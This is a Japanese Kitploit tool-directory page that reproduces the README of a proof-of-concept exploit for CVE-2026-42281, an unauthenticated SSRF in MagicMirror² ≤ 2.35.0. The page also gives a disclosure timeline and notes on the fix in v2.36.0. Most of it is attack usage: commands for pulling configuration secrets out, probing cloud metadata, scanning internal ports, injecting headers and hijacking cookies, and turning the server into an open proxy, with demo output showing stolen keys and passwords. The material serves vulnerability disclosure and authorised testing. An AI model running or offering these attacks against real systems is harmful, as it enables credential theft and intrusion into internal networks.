Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-42281 — CVE-2026-42281の概念実証エクスプロイト。MagicMirror² ≤ 2.35.0における未認証のSSRFであり、設定情報の外部流出、クラウドメタデータの探索、内部ネットワークのスキャンを可能にします。 | Kitploit
ツール/GitHubGitHub/astaruf/cve-2026-42281
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテストレッドチーミング
GitHubastaruf/cve-2026-42281

CVE-2026-42281

CVE-2026-42281の概念実証エクスプロイト。MagicMirror² ≤ 2.35.0における未認証のSSRFであり、設定情報の外部流出、クラウドメタデータの探索、内部ネットワークのスキャンを可能にします。

リポジトリを見る
3ヶ月前未レビュー
ウェブサイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-42281: MagicMirror² ≤ 2.35.0 - /cors エンドポイント経由の未認証SSRF

発見・報告者: Astaruf

完全な解説記事: https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/

上流のセキュリティアドバイザリ: MagicMirrorOrg/MagicMirror security advisories

NVDエントリ: https://nvd.nist.gov/vuln/detail/CVE-2026-42281


このリポジトリは、MagicMirror² ≤ 2.35.0 における未認証SSRFである CVE-2026-42281 の概念実証エクスプロイトをホストしています。この脆弱性により、/cors エンドポイントがループバック、内部ネットワーク、クラウドメタデータサービスに到達可能な完全に機能するSSRFプロキシと化します。hideConfigSecrets: true が設定されている場合、同じエンドポイントは単一のリクエストで process.env.SECRET_* の値を外部に持ち出すことも可能です。

完全なコードレビュー、脆弱性分析、修正の内訳、CVSS論争、タイムラインについては、nstsec.comの完全な解説記事 を参照してください。このREADMEはPoCの使用方法に焦点を当てています。

概念実証

要件

  • Python 3.8+
  • 外部依存関係なし(標準ライブラリのみを使用)

クイックスタート

root@kitploit:~
# 1. ターゲットが脆弱であることを確認する
python3 poc.py -t http://target:8080 --check

# 2. アプリケーション設定を外部に持ち出す(自動シークレット検出付き)
python3 poc.py -t http://target:8080 --config

# 3. 10以上のプロバイダーのクラウドメタデータサービスを調査する
python3 poc.py -t http://target:8080 --cloud

# 4. SSRF経由の内部ネットワークポートスキャン
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379

# 5. インバウンド/アウトバウンドヘッダー悪用のデモ
python3 poc.py -t http://target:8080 --headers

# 6. サーバーを汎用オープンプロキシとして使用する
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api

攻撃モード

フラグ説明
--check/version のループバックフェッチによりSSRFが悪用可能か検証する
--configループバック経由で /config をSSRFし、JSONを解析してモジュール設定内のAPIキー/トークン/パスワードを探す
--cloudAWS、GCP、Azure、OCI、DigitalOcean、Alibaba、Hetzner、IBM、Kubernetes、Rancher、Equinix のメタデータサービスを調査する。AWS IAMロール列挙を自動フォローする
--port-scan HOSTS1つ以上のホストをスキャンする(-p 22,80 / -p 0-1024 / -p - で全65535ポート)、スレッド化対応
--headersパートA: sendheaders を介して Authorization/X-* ヘッダーをアウトバウンドリクエストに注入する。パートB: expectedheaders を介して攻撃者が制御する悪意のあるオリジンの Set-Cookie を被害者のブラウザに転送する
--open-proxy URL任意のURLへの汎用SSRF GET。レスポンスボディを表示する(内部HTTP APIの探索に有用)

追加オプション

オプションデフォルト説明
-t / --target必須ターゲットURL(例: http://192.168.1.10:8080)
--timeout2.0リクエストごとのタイムアウト(秒)
--threads30--port-scan 用のスレッド数
--verboseオフ完全なJSONレスポンス(および非編集のクラウドメタデータボディ)を表示する

デモ

1. PoCバナーとSSRFを確認する --check モード:

root@kitploit:~
$ python3 poc.py -t http://127.0.0.1:8080 --check

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗   ██████╗   █████╗   ██╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ╚════██╗  ╚════██╗  ██╔══██╗ ███║
██║     ██║   ██║█████╗   -2026- ███████║  █████╔╝   █████╔╝  ╚█████╔╝ ╚██║
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ██╔═══╝   ██╔═══╝   ██╔══██╗  ██║
╚██████╗ ╚████╔╝ ███████╗             ██║ ███████╗  ███████╗  ╚█████╔╝  ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝ ╚══════╝  ╚══════╝   ╚════╝   ╚═╝

  MagicMirror² <= v2.35.0 — /cors エンドポイント経由の未認証SSRF
  Author: Astaruf | https://nstsec.com

  CHECK, ターゲット到達可能性とSSRF確認
  [*] ターゲットの到達可能性を確認中 ...
  [+] ターゲット到達可能、MagicMirror 2.35.0
  [*] ループバック経由でSSRFを確認中 ...
      >> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
  [+] SSRF確認済み、サーバーが代わりに内部リソースを取得しました
      << 2.35.0

2. --config はアプリケーション設定を外部に持ち出し、モジュール設定内のシークレットを自動検出します:

root@kitploit:~
  CONFIG EXFILTRATION, SSRFループバック経由の完全な設定
  [+] 設定を取得しました、1194バイト
  [*] address    : 0.0.0.0
  [*] port       : 8080
  [*] ipWhitelist: [] すべてのIPに開放

  SECRETS FOUND:
    [weather]  apiKey                       = ow_demo_api_key_d34db33fc4f3b4b3
    [calendar] calendars[0].auth.pass       = S3cretCalendarPa$$word!
    [newsfeed] accessToken                  = sk-newsfeed-bearer-T0kEn-xyz789

3. --headers はアウトバウンド注入とインバウンド転送を確認します:

root@kitploit:~
  HEADER INJECTION, アウトバウンドおよびインバウンドヘッダー悪用
  [*] パートA: sendheaders を介してアウトバウンドリクエストに任意のヘッダーを注入
  [+] アウトバウンドリクエストでヘッダー X-Injected-By: SSRF-PoC を確認
  [+] アウトバウンドリクエストでヘッダー Authorization: Bearer DEMO_TOKEN を確認

  [*] パートB: expectedheaders を介してレスポンスヘッダーをブラウザに転送
  [+] レスポンスヘッダー Set-Cookie がブラウザに転送されました: session=hijacked;HttpOnly
  [+] ブラウザはこのCookieをMagicMirrorドメインから発信されたかのように受け取ります

4. --open-proxy はサーバーからのアウトバウンドHTTPを確認します:

root@kitploit:~
  OPEN PROXY, 脆弱なサーバー経由で https://httpbin.org/ip を取得
  [+] HTTP 200、サーバーから32バイト受信

{
  "origin": "<サーバーのパブリックIP(攻撃者のIPではない)>"
}

テストに関する注意事項

  • --check(および他のすべてのモード)は http://127.0.0.1:<port>/version へのSSRFループバックを送信します。Docker経由でテストする場合、ホストポートがコンテナ内ポートと一致していることを確認してください(例: 8081:8080 ではなく 8080:8080 にマッピング)。そうしないと、インスタンスが実際に脆弱であっても、ループバックターゲットがコンテナ内から解決されません。
  • 非クラウドインスタンス(Raspberry Pi、ベアメタル)に対する --cloud はヒットを生成しません — これは想定どおりであり、スクリプトはそれを明示的に報告します。このベクターは存在します。テストには実際のクラウドデプロイメントが必要です。

修正

MagicMirror² v2.36.0(2026年4月30日リリース)で提供されました。修正は6つのPR(#4084、#4087、#4090、#4091、#4102、#4104)にわたって多層的に適用されています。PRごとの内訳、コードスニペット、パッチ適用済みバージョンに対して再テストされたバイパス試行の検証マトリクスについては、完全な解説記事 を参照してください。

タイムライン

日付イベント
2026-03-30脆弱性を発見、公開issueを開設、メンテナーにメールを送信
2026-03-31メンテナーが報告を確認
2026-04-01メンテナーが SECURITY.md を追加し、リポジトリでGitHub Security Advisoriesを有効化
2026-04-09正式なGHSAアドバイザリを開設
2026-04-26次期リリースでの修正を確認。GitHubにより CVE-2026-42281 が割り当てられる
2026-04-26CVSS論争 — ベクターがModerateから 9.2 Critical に引き上げ(AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N)
2026-04-30MagicMirror² v2.36.0 リリース、修正が公開
2026-05-04公開開示(解説記事 + PoCリポジトリ)

参考情報

  • 完全な解説記事 — nstsec.com
  • CVE-2026-42281 — NVD
  • MagicMirror² 公式リポジトリ
  • MagicMirror² v2.36.0 リリースノート
  • CWE-918: Server-Side Request Forgery
  • OWASP — Server Side Request Forgery

免責事項

この資料は認可されたセキュリティテストおよび教育目的のみで提供されます。所有している、または明示的な書面によるテスト許可を得たMagicMirror²インスタンスに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。著者は誤用に対する責任を負いません。

ライセンス

MIT

ツールをダウンロード